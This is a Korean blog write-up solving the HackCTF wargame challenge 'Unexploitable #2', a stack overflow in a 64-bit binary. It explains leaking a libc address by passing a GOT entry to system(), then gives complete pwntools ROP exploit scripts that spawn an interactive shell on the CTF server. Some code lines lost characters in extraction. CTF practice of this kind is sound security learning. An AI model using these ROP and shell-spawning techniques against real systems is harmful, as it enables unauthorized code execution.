wargame/HackCTF

[HackCTF] Unexploitable #2 | write up

$1m0hYa 2019. 12. 22. 19:28

이번에는 HackCTF Unexploitable #2 문제를 풀이해보겠습니다.

 

엄청 오랜만이네요, 벌써 3달만에 글을 쓰는것 같습니다.

 

앞으로는 꾸준히! 글을 올려야 게써여 ㅎㅎ

 

Unexploitable #2 인것을 보니 Unexploitable #1 다음 버전인듯 합니다.

 

 

표층분석을 해보니 64비트 기반에다가, 보호기법 NX만 활성화 되어있네요.

 

그리고 ida로 코드를 분석해 보겠습니다.

 

간단하게 s변수에 0x40만큼만 입력을 받네요.

 

흠... 지금까지 보아서는 도데체 어떻게 하지? 라는 생각이 드는데,

출제자가 저희를 위해 선물을 하나 준비했네요!

 

바로 gift함수 입니다. 한번 볼까요?

 

use this system gadget :D 라고 합니다!

 

즉, system의 plt를 저희에게 주겠다는 의미죠.

 

우리가 사용할수 있는 함수는 이렇게 됩니다. 

 

그러나, fgets와 fwrite는 일반적인 read와는 다르게 인자가 전달됩니다.

 

그냥 read와 write의 첫번째와 두번째인자는 필수적으로 세팅하고, 세번째는 굳이 다시 설정할 필요가 없습니다.

 

그러나, fgets와 fwrite는 세번째에 있는 인자가 필수적으로 세팅 되어야 하기에,

일반적인 rop에서 세번째 인자를 pop하지 않는 이상, 조금 힘들다고 볼수 있습니다.

 

일단, 이 바이너리에서 존재하는 ropgadget을 검색해 보겠습니다.

 

 

흠.... 보자하니, pop rdx 가 없군요

 

그러면 일반적인 rop로는 풀수가 없습니다.

 

그리고 다른방법으로는 RTC가 있는데, 주어진 공간이 64byte인것을 보면, RTC도 무리일거 같습니다.

 

그렇다면, 무엇으로 풀어야 할까요?

 

이런말이 있습니다.

"피할수 없다면, 사기를 쳐라"

맞습니다.

 

우리는 사기를 쳐야 합니다.

바로 system함수를 이용해서 말이죠!

 

system함수의 형태는 이렇게 되어있습니다.

 

system(const char *cmd)

 

즉, 이 cmd라는 주소에 들어있는 문자열을 실행시킨다라는 얘기죠.

 

그런데, 이 system함수에 터무니 없는 문자열을 넣으면 어떻게 될까요?

 

직접 해보겠습니다.

 

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
 
int main() {
   char str[30= "엥..?이런것도_돼요?";
   system(str);
   return 0;
}
cs

 

자 실행을 시켜보면~~!

 

 

sh: 1: 엥..?이런것도_돼요?: not found 라고 나옵니다.

즉, str문자열 안에 있는 내용을 전부 출력해 준다는 이야기 입니다.

 

그렇다면, 어떠한 함수의 got를 넣으면, 그 주소가 바로 출력이 됩니다.

 

이러한 일종의 트릭을 이용해서 문제를 푸는것이죠!

 

자 그럼 시나리오를 짜보겠습니다.

 

▶ 풀이

  1. system함수의 인자로 fwrite 또는 fgets의 got주소를 전달
  2. system 실행한후, p.recv로 libc base구하기
  3. 버퍼의 크기가 작기 때문에 main으로 다시 돌림
  4. libc에 있는 "/bin/sh" 문자열을 이용해 system실행하기
  5. 끝!

# libc의 종류 파악하기


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include from pwn import *  
context.log_level="debug"
 
= remote('ctf.j0n9hyun.xyz'3029)
 
= ELF('./Unexploitable_2')
 
main = 0x00000000040068C
 
prdi = 0x0000000000400773
 
system_plt = 0x000000000400520
fgets_plt = 0x000000000400540
fgets_got = 0x000000000601028
fwrite_got = 0x000000000601038
 
bss = e.bss() + 0x100
 
p.recv()
 
pay = 'a' * 0x10
pay += p64(bss)
pay += p64(prdi)
pay += p64(fwrite_got)
pay += p64(system_plt)
pay += p64(main)
sleep(0.1)
p.sendline(pay)
sleep(0.1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
 
p.recv()
 
print "0x%x" % leak
 
cs

 

이렇게 코드를 짜고 실행시키면, 

 

이렇게 0x7f6ac5c946e0이라고 나옵니다.

 

그 후에는 이곳으로 들어가서 libc종류를 구하고, /bin/sh의 문자열 상대주소를 찾으면 됩니다.

              ↓

https://s1m0hYa.tistory.com


 

 

그렇다면 바로 코드를 보여드리겠습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
 
context.log_level="debug"
 
= remote('ctf.j0n9hyun.xyz'3029)
 
= ELF('./Unexploitable_2')
 
main = 0x00000000040068C
 
prdi = 0x0000000000400773
 
system_plt = 0x000000000400520
fgets_plt = 0x000000000400540
fgets_got = 0x000000000601028
fwrite_got = 0x000000000601038
 
bss = e.bss() + 0x100
 
p.recv()
 
pay = 'a' * 0x10
pay += p64(bss)
pay += p64(prdi)
pay += p64(fwrite_got)
pay += p64(system_plt)
pay += p64(main)
 
sleep(0.1)
 
p.sendline(pay)
 
sleep(0.1)
 
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
base = leak - 0x000000000006e6e0
 
p.recv()
 
print "0x%x" % leak
 
pay = 'a' * 24
pay += p64(prdi)
pay += p64(base+0x18cd57)
pay += p64(system_plt)
 
p.sendline(pay)
 
p.interactive()
 
cs